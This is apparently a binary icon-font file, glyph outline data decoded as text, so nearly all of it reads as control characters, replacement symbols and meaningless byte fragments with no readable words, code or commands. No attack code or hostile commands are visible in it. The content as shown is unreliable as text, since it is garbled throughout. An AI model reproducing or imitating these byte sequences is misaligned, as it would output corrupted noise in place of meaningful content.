�Xp�	

	�	

	*pX����%'''7''7'7'7777�--J�J,-J�J�-,J�J-,J�J����	AI%4'565"2"=4#"#.'4;254+"5>722=43+"3264&"[@kK
Kk22kKKk2�:)):)�Kk22kK
Kk22kK8):)):��@�'/2+"&=46;546654&325754&"�9P7R
6(8(��0(98(/}
E�0((0�p#:2#!"&5423!2654&#!""54637#"4;'&762#"'&p��


��
W@��A

TR	p��



�@@

TR�p#:62+"&546;2"54&+";2657#"'&?!"43!'&762���
�

�
KTR		@��A

L

��

�TR	@@

���� $%/&'&"/&54632?'�9��:�)R<;)h�:�*�9�);<R)��h����/%#!"&=4?626&#!"2?6276/&7�
��
�0���
QK		
��
		K�
��
��.UP		��		P0�P,76#!"&=462?632?6276/&7"/63!2���lK		
K!$K
		Ka�	`

�-��nP		PP		P&������(02#"="'.'&4767676327#"5434&"2�
[(
H4

$>0ZKTtTTt�lKZ0>$

4H
([
��tTTtT����91"&462"&5##"'&=476;2#"'&=#"&'5#r&
,
	z		U&�{izz
i��������
)746/&54?6&56&547'46/&5FEi>>Ed>>x3��2
$��%v��2<%��%	����&45=QY32#'&=4'4;2##'"574;2"5%463!2#!"5462"7"&5472654'2"&4~h�4j82�~h��`�d�8!.!!.v!KjK!3(2D2(C.!!.!Dv<��|~<�&�C.!!.!�&/5KK50&/"22"/!.!!.����|�'&'"547>32%#"'.#"#"&'&7>76.'&5467939313131;267632654'&#"326*"3

),h

! 	
2
,	 Z 
			

)/
( $.-$"(

d6.
�,+ \P�0!"43!2!"43!2!"43!2p��`��`��`  `  `  �� �Yn7";2+";2#!"'&54;24+"4;24+"4;24+"5>762=422=422=4+";2#&;2""&=4#&�IIM��MIIIIM(  (MI��/.�#9$)99)$8$�"))���62"&4&2"&4$2"&4�  �  J  �       P`"&462"&4626"&462P      H  ��  `  ������:%&?#76/&65#/&?635&?6/3'&6�O

7�7
	

O

O

7�7

O

O

7�7

O

O

	
7�7

�O

7�7		

O

O

7�7

O

O

7�7

O

O

		7�7

����C�!;"&53#"'&76;2+"&7>547+676=462�.`���	�(�

��

!.
t�|���
/ / �


D@ /����C�("&537+"&7>54676=462�.`l��
.!!.
K

/ @D

D@ /����/72"&4327'&7674;54'&''&#"/32&462"z�zz�zx)/0)2!d5335d!!.!!.�z�zz��V'J5
WX5J'0.!!.!��&6?#!"&=463!26"=&'7#"4;�	����:9C

a�	�����b

C9:�p/76232+"'#"4376232+"'#"4376232+"'#"43�
6
KK
6
�K
6
��
6
K�
6
KK
6
�H  �  �  �r+72+"'.467632=4+"32=4&"372=4+"37,54-�-45,(oor^l]]l^�oow)(�QQ����%6/&&576?6'"'&/&/&47�R
c&��5D��pH-N
��		[m��)6Rd2"=+"4;7'&7632"7"'#&?622#"'&?%2+"&5467=6767632263.54632#�  I��A&77&�,'5
(>�!+%7�x  31�8L9.-
>3&(, =����BX%+"767>367654/&'4'&'.7476'&5&62272+#"=#"4;5432A8
��
8	)
1T1)=



> 

 -	!11!	-X



P�0 $(463!2#!"&572=4"4#"32'!!642}��
�
-��U

�

@
q�V���� ,2+"&5463";24#254&#"7254+"3�

�

@
o����}
�f
1I���� �2.54264&"TxTH$$2&|((�N8.�/0ICQ8q((����'4E#"'&'4#'&7676326'&'&+"7676'&#"27676'&'"232��:kh=��u	
%	R��(
z

,_0
���@�@9N%#"'&'&7632'&'&676326'&'&?6#"'&57547272�?�N;9<  &4"%"*
�#3#$0$`
	Q+10

!#4'!


 	#$1  �`"54;2+"532+42+"=43``�pw�`��8��8����� ."&5476322654'&54632"&=4632<Dq�qD7\�\7
	vP9XOppOX9.G@[[@F/��
�
����574;2+"52#!"=432+"=4&+"+"&=463P����0����@
�jj�
��!2C2+""=463!2"=4'&+"432+"&=423$2+"4;276=~<''<�<'B';<�<;''<<��'<<p;'< @`12+"&7674+"&=46;2+"&7674+"&=463q
('�
('`
�6(	#'	�
�6(	#'	�����"264$2"&4�jj�j���zz�ztj�jj��z�zz�����"264$2"&4$"&46�jj�j���zz�zXX�XXtj�jj��z�zz�BX�XX�X �`%;Oas{#"'&4762%#"'&764'&47632"'1&5476327#"'&764'1&7632"'&54762"&47654'&7622"&46>>		0>>		66�
-/		'�/-		%'		�		{

R  
�;C�C	CYXC	;�;�/?B/%86�/A@/	
%n%
	+	*+,+ 

'  ����%2+"436"264$2"&4*���jj�j���zz�z�  �j�jj��z�zz�����2"&424+"3z�zz�z*��z�zz�f  ��	72+"&543��
� 
�`=!%5!%5!`��`��`�887�J!D"&54?#""=46;'&5476362+#/&54?62326=$�. �u. �	"$�"$ .	x .	"	
#`p2"=32+"=42#"43R��LnLpnL��nL �'52"=&546#3"=&546?3257325&2"=&54  M   
�&   ����9>bk!��!	@hhhhO1!��!1Z�&!?62!276=42#!#"/&54<). ��(:�;(
00 .(:	
Z�& %#"'&4?!"&=423!'&462z9(�� .)�
:(. 00(������-A7.'&6'7>76&276"/&+"&?676+""/57436�5LN74MN;&/!'/	+'PL,�LP'"-�L47NM47M�(!/&!0�E^A�//�AJa����)2"&47676&6326'."7676&z�zz�z�'&I		0:0	��z�zz��!!h��
1746/&5&=4?66#"=4&/&47@������
���K^LS^L^1��

�lv
��6"/&?6&/&47t�A	��	
c��h
	��8���`%&=4#&7672=432}�
U(�
��Ak�B��@�(2+"&=46;32=#5&?>32'�k0		FF		���

�TTT/		EE		����-=&=4&+"=4&/&7676322632&2654&""."�>�>D'
"
'D�.
@-=��=-@DD%		 @`76/+"54;2O��GG\������8 @`4;2+"=&546�GG��\����.��������%#"/"1"'47'"'&'"&="'&547675#"'&76'#"'&?'&763227'##"'&767'&7632>'5&7325&'&547625462>?627&563237632#"'".'>3632y ` 
	!` !

``

! `"
	
 `
 !

``

f
 
$8c
&		&c8$

		88	


$8d
&		&c8"

		88	
 @`%!"&5463!2$�� ��`�#/3"54;2+"=4;2#3"=4;2#4;2+"5h0�0�0(00p������8����@�'3M2+"&=463";24#264&"264&"754+";2"/#"'&?63'&76&&�&&(p��D��
�

2

�

�&�&&�&���``�	0



#�]'$&?#"4;'&6/&546?632+n	/�

�/		EE��	EE		/�

�/�	00		FF�	FF		00����#/76462"72+"&463264&"6462""&46;2#6"2646""�(88(�(88(4&&4&�""�(88(�(88(4&&4&?""�8P88P8�&4&&4�""68P88P8�&4&&4������1d%"/&76326'&'&'&"#"'&'&767676327632"'&'&'&7#"'&?62"/276767632�

*+		  H (%(O;H
;%$R$&"


*+		

<"L �	
**
	"%) 



6Bc
S"1$(
	
++		T<
 �`63!2#!"&5244"'!!
�

�p
�
��`R
��

����`�(4IS\753++"'&=#"&=#"562"&=4$2"&=47#67'4?63272254&#"3264&#"@�
	1�����4{
	g		
�LLZ4
44

4�
`

`

`

`
e
'@		H
		

	
����?''3373�***�.��.8(��(z�YY�P��``���8����2"&45&"3267##"&462z�zz�z@!!\BB.&:	+"22D-�z�zz�Hb!!B\B-#2D2-��@�'2+"&#"+"'.76323267+&76�)
$##" 
0-
,
!&'@<852p0Z ����8m76"&54?676?36;2;#'&'&'+32?63#"#"&#&'1&'&76;676?654&"#.?6�
BV>E"

D,@{>E	%

D,:@
@kA>+-D

D,@%>+-D

	D,??��B�59=ER$#5##5#732>=4'&'&+5353353'3535#76764'&654'&'&'2762#( )W		W) (
	�    H	


�&!
@@@@0�0@@@@	cJJ�ZvB		�	
R��'?&4?62"'"/&4767627676"/&4767627676������{y#��{y	RR	R
QQ

<;u	RR	;:P�0#6;#"&46;#"5372+53264&+5+)XX.BB.XX,�.BB.XX))X�8)+B\B+[,,�B\B+)8)+���� .C6462"7#"'157654'3&'27&'&54767'5676323&'##"�'8''8�bL

f
 ��N>.C
gr&4%&6] 


� 1�8''8'iOz�&			��
.A_0(�,�)
0*)	����
+.6PZ]7&'76''&'77&='./67>7662"&454'.'&7>76'6547>7'7�>''"] D]((''s�����kS	QQ	RO&]=�5):>36?	�������Q
8

6	P6
8
 >3����7!'%7#3#31/#���#����yp650bm3�m--D�132@(N �`'3#'32654/3'35+532@f���?#*%(@$�((/5fvʝ-%kccS,Y��,8@2"&4%6&'"67&327&6767&'"&27&'&'767&p�pp�p:<86� 6-�@A8z(&T	<N�
K ,�B;(	�p�pp�%
5`9!%!F4d=-G#�
*% "@"+I#
�s'7?7'77'5qOrNNrOOrNqqNrOOP"rr"sBG?}>FBBF>J�?GB�BDD��@�%73#327#"=#535#535432&#"3#�|u!.%8
37�2222�73
8%-"���0
"	Au000uA	0��$2+537#546;5&#"#3#"&5463k		k29#
'"-..�		�	��	�8$4)$)8�	V	��J�<2+"'&5463>'6&+"7676;274676&+"&=4;271Hs�/�	F	@	R
`
�9mR	
�
|��Rm	
	��T
-


������!6'.7675'#"&/3326?''>./"'67676=&'.'&476?.7>7>7654&/66'&667>54&�			

��

 .'
			-1(.$��!6	M;
(



%

,	 	
	
	

"
	*A	�;-&#����?2#"54654'>54'6'#"&"&+#"'&'"327+.54���VC.9
"6"
8.

DU��_Kx+/<$  $</'wL_����%%#"'&547632&#"3267#53�68U_=9;?WM<:!,9!''&5&Dt��
W9;@:VX;=5:#'57%$/(Rc!-%#"'&547632&#"3267#5;##5#5353>*+CK0-.0F<00",+0[��9)99)�F+.2/BE.0)0*+  @)99)99��!!?#'#3����@-&(/B(����xTTxH����!'7#3/#?#'�#���
�560cb���m--2�@'N�3��'/7#";26=4&'2+"&=463"&462"264&2"&4� 00 � 00 .BB.�.BB.�f4&&4&hP88P8`0 � 00 � 0 B.�.BB.�.Bp&4&&4F8P88P�p+#"'7326=72&#"#"'73254&'&546�y�1$ #$UDA7$&+4]EhՃ>&�@ F.<?&"D,:��02#!"&54635#62654&"54&#"5#3547632a

��
V7#77�
��

A
�����

�d%&�a
%^ �`"2#!"&54635#'#35737#5##����8**88**�F*8*`���DD�`66````����<g"/&76762?6=4/&6=4;2#"/&=4?67"&54;23254&'.4632+"5&#"#�5'���()��� -'/$#$'"K,)#( *%  \�^^���
�
_

_
�
^{"

23		 ��Nk72#"'&547632#"&54767##'"'&'&'&'&'&547&767632676?654'&'&#"&#"&#";2�

		�		


~"		$@
	"
,D()


B*
*2)%VT�



t&:.*;%'/
'��=$	%>����B2#"'6?32654&#"74676'&54632#"&7>54&#".54����]"'6CP>JV.	=1,2(<J����	 >VC4MW5C
,?/&2E
"	!	hnD]��� Ac%#"'=4&+"'3276?#'.'&767676?%567676'&'&#"567632�
		P/?
	��
	
)+-
o>��\)
	

a--"	�
	�

��f
�*
%/;0 1	����&/QZ7#"&'&=46;5#5467632+3"7254#"+3'&=476;263>=32"3254�"&`"!h
'`.3.1!h!�
� +'
(79"	y
`
(5!!6! 	"&#�
��	>FOjs%462"&'462"&%#"&547&546326737632#"&5'632&"26467&#"6=&'&'.'&#"327654&#"#"'73267�BtRSt7JVEJ7?��Q2	6LM6	26MLt
u
/0
) �



3	9QP9

&b&M&
��
�"1	%%	1"%�
n��62"&452#4&#52#4&#!.!!.!i�P`P��P��p!.!!.��iP`�ៀ���u�����%'&76'&'&'&7&''&7>76'&''&7&'&7&'&767.'&7>&'&6337676'&>76726>7>7667676616'767676&766'76'6
"&	
!	 
	

<4< P^&%IK
D7hT0
	




<%�t+hQMw



$
*
	.
(1%#	,
5+, 

32)-%`8
��m%#"'#"&547&54632632654&'&'&'&/&'&5463232654'&'&'&#"#"'&'&'.#"3276u>,Lk>,
LkY		
!

	
'#�,=jK,=iK?		
			
			
����nv��%"###"'"&#&#""'.'&#""##"'&'5"'".#&'&=767654'&'.'&7>32&'&76267632$"2646&"'&26264&"�	%D%

'$

%'�'%
$&��			X2B			X


"
;+--+:		"�@5K5(2CV"&462&2##"&/#"&46326323747"264&"327'.7>&"#'&'3264&�,:()C��
+F&�f	
�

	
�!))0N*O>(	 
p
 ���#727#"'&'&'&=#567676733#�!"0>``4A	�:+p@e&	
��@�#!"&5463!"224"7!2
��

�����
�p

�
�i
`����2#"'"&767.54z�zzV
3=�b�b P0F����(7"&5476=4622654&'&=4#"�*8P8*(G0"�2(88(2���#������I6'41'&76763232#"#"'&76765&"'&76'&5476/4'&54@"1@ #

1	>"
E	�

	+#
#7





����I%1#"'&'&#"=43276767>76767>7632727676o@"1@ #

1	?#
;	�

	+#
#7





����%�4<HP"/#"'&?63'&762.=46;4;2264&"754+";2462"�

2

�

%H$$
"'`T((���~	0



h%� 	�%��((�@@m����V^"=762#"/"'&?'#"&547'"'&?'#"=4;2+7632627#"54;24&"2�
I5



		0HC^5

%
]<%		)Z)K<

]JNpNNp
<H0H-)	
	

	5^CH0	
%<

]
%
	L
]
�pNNpN@�@"%+"&46;'"/&54627625462�	y		T�V��V�		O			�T��T�R		@�@#2"&=#"/"&54?627#"&463�			�V��V�T		@	v		R�T��T�		��6BN2";2+"54;2=4'&'&'&#&'&54;54;254+"%674+"76�,#'!BPPB'"B��#
$
#\7FQ

Q#%5oK		K����J+"'&'&#"+"'&'&#""&543232=&#"+"'&'&#"+"=476762g8



&


 

86N"M6BN


�
�$

OA?��@�!12+"&=46;54>1"514&"654&325�7P9(8(R
��/(89(((0}
EP�0#"/#"=4;7632�		A55A.
�
4P4����
(6@"'&67#"/#"=43'6514'&6'6514'&6#'76F����3(	A5p5
*:B?(	/C0	��|)E|
4P8Q>5DS8	BZ/&:(	1BR	 )���:C75#"'&547.>#"/4/&=#"&=4?6;27/5I.	F	�*\ D%9*

FW[/43		.��h^L:A xDn	

F5����62#!"&?#3264&"�	$	����$p���zB


��1GHd��#"'&'&'&547632327676=4'&'&'&7632&=6;327632#"'2#"'&=476763232+"'543>'&'"&76;2'&#&'&6�
,@'
7'.#5%	
"	'�&		?

D56'	"\��

�
%-)'%

 )%��		</0B,-%$%,5R3

	

��@�#"'&'&=6767626=4&@^BW/?+050);=.ZU;TASX<$*��7'>���`$/ '&'&"/&7&7632'&"'2/&7`^!/2l2-"N=RQ=,v,OF55`X  ^77''55����*9;2+"4;2=4'.'&=476;25&'4+";�'9�9'

x
`��V'-ss-'V	o#..#�����.6"&=##"'&=#7##"'&?>73#"/##"&462�
,,b--#$$0xxx�Z		h
i	Z�xx&&����2"&45#5##335z�zz�z;V*VV*�z�zz�k*VV*VV @`%##5#53533@�*��*����*������
'7'7'5&2"&42654&"�b�aa�Ue;�qq�q�|XX|XC!R! S!S�o2=Up�pp��W>=XXz����#"&5463!2#!2+"#"&546k
��
 �
���� 
����2"&45#75#z�zz�z�000�z�zz��((X��)�W	1567&%5$2"'=5##5##5#35335335++�++��<<�<� 0 0  0 0 �5&�&55&�&b%M F%%F Mb             ����@327#!"&=73272654'&"5463!2'654&"&#"'54[
:��=
:&�&(j)(	W
<
'�99
!
_	&�P�"����%)/2"&464&"#6#7''6323&54'3'7#"������0pp�pp8�fH!81N<�fH!�8��1N<��������p�pp�pVV>��*7�Z~��*7�V>Z~	 @`#5353#53'5335373+535353P(P�PPP(P(PPxP(PPPPP�PPPPxPPPP�PPPxPPxPP����
!6'3462&"347'��zh=V=H@.����(_�`�+==+N.  ��UT����#!"&54?63!27#5##'!'!�
��
!

�Q\Q =��\
��!
'

��..�Vk%!'7V��w��x�*x��xVk7'7�x��xk��x��w����
2"&47#z�zz�z�`��z�zz��`�!������
"&4625�z�zz��`�zz�z�`�@�@'��@������
"&4627'&�zz�z�``z�zz�
``@�@��@������
"&462'�z�zz�
``�zz�z�``�57�����Vk=!'7'7w��x�*x��x`f%2+"/&4?62A

�S		�		�		S�O		�		�		OLp7&4625462762"'			OO		�		�		S�

�S		�		`f7"&4?#"&46;'&462�		S�

�S		�		#		OO		�		Lp%"/"&="&4?62C		OO		�		�		S�

�S		�		Vk7#'7'�*x��xw��x����V7223#"'&7676&2"&46&#"32767'#"'&7>32#"'&57#3&'&#"32673276�		Q�zz�zP@;<%$"!=

	/6-/.	
'�B
		�z�zz�P<F%$~%$13<81
S%����'3"&=462"&=326=4&"265� EbD2F3. 
.2F3@�1DD1�#22#���		��#22# �`2#!"/763'7''7���``�??@?@@?@`����@@@@@@@@����+7333'533533#3#==3!3#53#H0`0x0`00��((XX0XX((@���������0(0((��(00����Gi�%"'677'674677'6735#&'7'.'&'7'&'62''#376?'&'7'&/7'&'35#677'5677&4777#3''>
8�8
8�83::��::-++
   ++   "<�=
 
 
 
�<�=
 
 
 ��$%32#!"/&546;76323'2654&"Jb3	��	3bYNz=" ����	�Y�����%,373&'653#&'6#57#676&'3&'#67&'3�0>3;V1:3^0;1�1=3:S1n

n1�n21n��(@l�V>(��T@'��(?)6H$!�"G6�$G7�6G"%����2+"&546;537#53�
�%ZCY-Y-s��
W--���{�����2+"&546;53#�
�%Z�s��
W--��3������2+"&546;53�
�%Zs��
W--����%-+"&54&'4>3!32265#33+"5�&�&	/^
����	��&&4
�p@�������,B��2++"&="&=&5462632632632=##"'#"'"&#'2767676327676323276546;2654&#"#&'&#"#"'.5&'&#""'&#"354&+326�!@&�&&4&0#(		0	7



	P

4'`D!&&�7&&41	!
6@
		

	
	?e`
�
��*2:"&4622"&4264&"/#5'&4?63232"&4264&"9L77L8C6&&6'+' =	H	
";��L88L7B6''6&=�8L77Lg&6''6�-- pV&
	E	< %8L77Lg&6''6���
#5'7'7537'aa�g ~~ g** ``��g }} g�VT*�*T������"';7'&76?546;7332#"'#"'#753#"'"'+26?243&@`@&3/''./&&0+��+9$2(Z(2$5'\#�	
b55b

�++**T))T��$ ����2"&4##5###5!�  �+*+���  x��+
���� ,-9H\g7"&54657632"/&762'7/1&761#&54?66"&4767"&5472654&'264'�(^5
ED?�>
A.
5�39?Z?,*&*&aY

]#B/7
Abh;-??-E4
 	�&6	"�r6'&=465#5'z&��&���&�p�	  	� �� �� � �
2'463������@@X��
$2+654'#+"&546;5#7U&��p8���$*"	��*���  �`!37#"&=46;2'#"&54632%2#"&'6=4'>�((ojjjj�((GG��G0G��3#!"&53546;25#0p��pp(p0��((((��2#!"&54635!���P����� ��������62#"'2654'762Y:*8':$��A��)&6.�?�����/#3#3#"&'#53&=#53547#5367'7627�2002CCNCC2002D'"4&4"' 000!''!000'"44"'������%/&'.77'6�/�#LZ=X$U2/�S%X>XM# �	753+"&2+"&=&54P�XxT>|
=tN8G(++(G8`�'/7;=4>2+"&=#+"&=.264&"264&"75!58P85
		
�
		
B�@�`�##�
'				'
	ijj��15!2++"&=!35#p(/!�!/%((00�P@!//!�p@@
��@�#'+/32+"&54635#75#75#5#75#75#5#75#75#�800000�00000�0000����@��00X00X00�00X00X00����00`00��%#57332#!"&546;5335!0`@0��0�H�а``� ��  ������%2#"&546;276k		��	K	
	/0]/'u	K	ԗ		)$	/]0/	��#6462"72#!"&546;73264&"�%4%%4���X � �\BB\B�4%%4%���  ��B\BB\����Sv?%2#"&'&#"#"&'.546'&767676&67&7>7>76'&546326'.'&*37&7647636&'7./505656&'.76&'&'563233654&#"&6'.7&'&767>76'76'&'&=>'7676656654'.546/+"'"7>j	('%"

	
	!"B&�
			w	
	
				
.	
0	 V	

4
	

#!'#E	!	-,
@
	


T
!*.
	


	


	
	

	
#		
	!&����	!##5#5!373'53#53 �pP@@`p��P@` 0�0���p@@0���@@P������*#"'327.'327.=3&547&5462676��}PDC52	
!-+
Mz8R 
!Ri�,*%5#5_)8#��@�EP_%#5"'&'.'35'.'&'&54767676753#&'&''5654'&'&'67676;
@E 	@E

�	
�
	
	�
##2
	x
!! j

O\

	�	
	k	 �`!)-+"&=!+"&=76;2264&"264&"'!'#S-		�		-�����* �Kv�				�v�YU�p2#!"&54635!%5!���f��f��p���̄��,,����$,62"&43!2+;#"&54?'#2"&4i""PD4
K���J*5""F""_*� (3���"" �`!!7&47##2%5"&5#3465!��@�  @&P&@  P�t�`� &t&&P0P&&t&�  ��2+5#"&=432+'#732=X�Z9
�9Z�'���	YY�?	�	YY'�����73+46;2'#"&=463U�
�:
7L�P
:
�@��5���77'53#!"&546;#iB��`
+�����B��`���*+����2#!"&54637''U��j��L���*���M����77'3"&4632&#"26{@��]*z�zzV(& Eaa�a�@��]
Vzz�z a�aa����
2"&47''z�zz�z���L�z�zz���M.�R?'7z� ��z l���z����%2#!"&546;>2*264##5#U��W#,#5�(�(p��:

��@HH������!(.59=DKRV"&4676'&246'&76&776&35'6'&24"24"6'&6'&6'&&24"&zz�zz��� 

,
P_
8    h

P
  �z�zz�zrV  u�
^
v/{�9�   ��

�U ����2"&4'7''7z�zz�z8KKKKKKKK�z�zz��KKKKKKKK+*U''7'77*wwwwwwww7wwwwwwww����2"&4264&+4&#"#"3z�zz�z.1"-&%�z�zz��,#0#&2% �`%#!"&5467>327''�'6;)��2F>-G+6R��o,�9();F2.D%,Eƍo-����4'&'&'&'&'&'767676767654&'&67>�
 2#" ,

	
R 	 (9"N.3*-E !&'7O	G&i&+	
6����@2#"'7&546'&'.'&'&'&'&?676'4.'&+"7>����[73z( I
 
		
$	��'u5<[�
	 �`%#!"&5467>32#7#5#�'6;)��2F>-G+6R�DddD@�9();F2.D%,EgddL �`&%#!"&5467>32264&+54&#"#"3�'6;)��2F>-G+6R##@.&:
!//!�9();F2.D%,E�#2#
.@-#/B/ �`%#!"&5467>323'33�'6;)��2F>-G+6RhDddD@�9();F2.D%,EoddL �`%#!"&5467>32�'6;)��2F>-G+6R�9();F2.D%,E����,43+"&54676323&'&'632'5467&#"'327&[� */!�(8,"
 1

.8+C�
SA	"
$!	x/ !/9(#5#"'7$Di!%k
+*�V3+"&54676323&'&'632[$36'�.B3(	%:!	#8$A3L	$6%'7B.)>*!%#-@@�@37'7'77'7�*-``--��b�bb�� ~-``,D��bbbb��@�@7'77'7'537#553���b�bb���(�(P(^��bbbb��l((((((((@�@7'77'7���b�bb��^��bbbb������;CLRZ`i%#''#5&''7&''7&'#5367'767'76753773*2647&='767527'"'77&'654'�# 8@8 ## 8@8 #�� 
/F9 WD  & b/ 9S/
�8 ## 8@8 ## 8e&0m	22�&&�	2�'0����	7'7'"&5467h6����fg49".!r�����gg=!!.��'#57'77627'zC)�e�)C�*�HC)�e�)C���*���%-52+"#"&46264&"6264&"264&"264&"�Oq?,&
	Ppp2S}S�dG,>
	p�p�Ch��'75353753''7'77'53��$�%%%4E!0/o///:A#�%�?DD�DDu%%a0000�00[%%����62"&4&2"&47�C�����U�U�ք������U������� B%//.?'&'.77'67/&?'&'7&/5276�)r`
+iD
N5LJ5
:�7#
	9-)2$"7)qp+i
IK5K5D
:98"

%9/
"	����2"&46"265427."z�zz�z�2%$4$��-UNU�z�zz�<%%%��C$$��	"57!>72&2"&4267#&'67327'&'632#"'673267�!-	��	-!>JV??V?Q2(	�	�"
C�
2 9+??+(	h
;##;
�>X>>X}j(
L�;1>X>	��=3#=3#553#3#53�33��MM�3M3�M�M�3�̀3M33�����
2"&464&#z�zz�z^^B�z�zz��^�^����P�(7++"&546;546335#"5#";275+=+";2Ѐ�xS#� �0` H���� -S� ��8� `����57#'76�P�Pz(P(3P�P�*(P(3����%5#532!##5#"&=#53530���0J&�JJ&��&�!&PP�&J����)<2#"&=47376'"/&546?63#"/5&=4632���
���
-��\�\2baQ��\����� (049#'#"&546327'#"&54632264&"264&"624"73'�C�54%&44&55&44&%4l&&&&��C�-"���5&44&%4554%&44&&&��&&���-����2+#57#"&54635!��*�*�j�����0  0������2"&4264&"62"&4z�zz�z�N77N7V


�z�zz��7N77N<


��@�
+"&54633'����pp���P�p-S	
'73'7'7���|��z\� z4����{[<{@�
%'353!!@��[��@��������-����#75!72#!"5435!73#7'3'53P@��`��9�F�9�0������@@�  �`@@   ��`�	2"&54yny_�_��Z[dd[Z�� ?#53'72#!"&=3!!#5463�7��8kk���+*��+s8*8kk+��UU*UU��%53#5#53#%#533#53M3�MM�3��3�MM�33M�33�MM�3��3���-3"'632'654&'7/#"&'67'327'#"&54?32�,'*Kz0;<�j<	.+Kz3	B<* 	#8#/,TD8(;*;7��;	TD>'	A*;#/#)�W	2"&'6264&"62"&4��zz�z�T<<T<M2$$2$WSDDSSDD�<R<<Re#2##2.�R%#������$���� �3##5#535.5462264&" E3HH0HH3ETxT�8P88P5Q20@@02Q5<TTP88P8����)%#!"&=735735733'35355!3267���'�����(��S,:,�0��0 0 00 0 p  P  p  %%@�#'+3#5##5##335335#75#75#5#75#75#(((�((((�(�(((((�(((((���++++�+++�++V**U++�++V**U++������b��7"'&7632'&#"#.'5.6763276'.#"'&7>32'.'.#"'"'&'&7632'&'&#"7"'.5&7676#"'1&#"1#"547343632=�M8"<j/M�&<%"	
K87("

Z?@2(! 	

2x3
("8E"5.	-	
�-
,	$Q$:0UT�e)#X#"��
9%0/#B"*

Y52H)"+<+
	/
6JD.%>"
.#9A0	(.
$
s	

 @�67#"'&#"+=763232,
8D7"2>m���5�
��@�%%#"'&'&'&=>76'676'67) -J 
E!.	
:��'.E%3
#*S"/(0E~+((����335#�@@�@��������%#!"&'4?5#53#3'#u#�%d � ���^%%�`00`p0����)1%#"'"&57#"&547&54632'462632264&"U+,,>,,++,,>,,�>,,>,�.+
++
+..+
++
+._+>++> �`2#!"&=46;54#!3!2����+���j0��0�� �`32#!"&=463�+���`0������#02"&437'367'?&''753273637'#z�zz�zO,:�9,'000=�.+=
Z�z�zz�D&*"C`$(&Cu6'!/4�(64/��680�P753!!5!�`����@P 000 0y22��@�*2:B"&5475&546267676=&5462&"264264&"6264&"@ 7":&4&  &4& . &4&�  8  �   $	@#	&&$�$&&$�	$&&N  ��  �  @�@%#"&'#53>2264&"�dEXDeeDXE�B//B.�@*66*@*66*p/B//B���� 8@755#"'&=&54623"264"&54754&+'732264&"�``7 &4& :  8 &4& ``80  B>``@$B�$&&$�-	
F  ��$&&$�-@``>#B��  ����$,4<%2#"'"'&'"&5475&546236$264&"4&"26264&"@&&$?. &4&  &4&$3.��  8  �  �&4& u$&&$�$&& = �  ��  �  ����$,4<"&5475'5&546275&5462$"264264&"264&"� � &4& � &4& `` &4&��  H  �  `$]@5$&&$5@]$&&$5005$&&  ��  (  ���� 4<D%"&54754'&+'732264&"2"&5475&54264&"264&"` &4& ``70  �4&  &4&  0    G$&&$�-	
A``=$B��  �&$�$&&$�$�~  (  p�1##"&=&#"#"&/#5;�*).31/**� 01)'33''30����(}2"&4>4'&'.7676'.'&'&'.74'767'&'&4'.'.'263&'/>76636.'&#66z�zz�z�		*4+�#

 ,	

	

 )$!	

6�z�zz���		


0DJ4++#/	&
	 	



	 

��#'+/32#!"&54635#75#75#5#75#75#5#75#75#Z��MMMMMM�LLLLL�MMMMM���4��MMtLLsMM�MMtLLsMM�MMtLLsMM������(%'&"/&?67&7676763�/�
$;%&$6+
2/
$;%	& $������7%#"&'5'45'&>65'&>235462?>?6�`-7)@:
"
*�g"0%�X������*����%2"&4264&"6"&462"&462"&'3z�zz�z��aa�a��NH9
�
�z�zz��a�aa�Z�'!!����2+5354&"3#"&=4p�p&@UW|WU@&�sR�'�+@YY@+�'�R��3'.54632632�4.;B09%%90B;.40,D51B,,B15D,0����'/2"&4>7'>7"2646&'77.'z�zz�z
.(	n.(	K4&&4&H.	(��.	(�z�zz��.	.	,&4&&4@.(	�.(	����2"&45#74654&"3462z�zz�z�**>1D1)"�z�zz��**?7"11"�3#53'#4>54&"#462�BB@&4&@KjK$A!*%&5KJ5,(��
3#5#7##5#�b>��>b`�������@�"7!#!"&547&54632>?632 ���, /(8��? ,&8(��%#!"&5463!2!'���*��J*`J+*�`�`������)5='%.?&/&67%6>3'#5&#"77#4#%"776"&462�


��

	
	(	
��
���U

��

zE&.4	��

.�
6
	
	�f�
	ǃQ"`� !*"/#"'&47632264&"'76327'&"2�<P&&())(l..!()�%%..)(8$$Rh* �$$*����2"&45#75#z�zz�z�***�z�zz��}}�**L04=3'53000L���00����''7'737'767>7��'7)0<?X	n,���$��,n	X?<0)7's
X�(73##5##"&4632264&"��+Eg6!+<;*!8d�@@@)=V=)a
��@�!)19AIQ62"&42#"&42"&42"&4$"&4622"&462"&462"&4&2"&462"&4�  `     (  �  �    _    2""�"b""b""�""�""""�""""�""�#%3#!"&53"&5463!2!264&"�KA��AKj��j� 
��5����
��@�%#5.54>?@+&@&+!//7*#�*;11;*/W9-

07X��2#!"&54635#75#75#X��Ƞ�������0��00X00X00`h=!%5!%5!5!�@��`�� x00`00`00��00����'2"&43##5.'#53>753264&"�B//B/!!`C*C`!!`C*C`�|WW|W/B//B*C`!!`C*C`!!`�W|WW|��@�'2+"&=46;5462264&"754&"�;R;t  f$4$��();;)(�  �($$(����&2#"'&/3264&"#767653'7'7�VzzVB54.0�``�0.47��-``,�z�z&%;
0`�`0
;%&�*-``-���� $753'7'727#"&4632&#"%'��-``,~D0
7@VzzVA6
0DE``�*-``-�0	&z�z%0`�`���`�,17'"&'&74>7654'&"./&54762'367'00
	2
J
'

01���
	]1VD0F$
%,
-2**)6V
48<V13��J,!"+!)��%#!"&=4?7'�����૫����ee�pUU�p2#!"&54635'���e���p��
[+uu+u����3#5"&46327#5264&"p00kTxTT<-&k^�P88P8�0�^k&-<TTxTk0��8P88P����+"&4622&=#&'5+&5#&=46;d  %U  r
		
i��

��i
		
r��2'"#"54?6765'uy�iy�gs����)-)B)-(���,�����#73462"7'&#7'3��6�2H33H�$2�E��Zh(h��H22H3�$�hs
!�����%'#5'7'7537,l0l`l0ll0l`l0�>T?}}?T>>T?}}?T��#3#!"&53546;2#355#5##3350p��pp�p808800��(((�088088�p"'64'7'64'#'##/57373^""E44**V `0P  �` 1"^"DC4�4*x*> h@��pP@�@=!%5!%!!���������@++k**�+����!+13%''#5.53327'#"&='7''5462'65'<:::"_!.9P'H1 
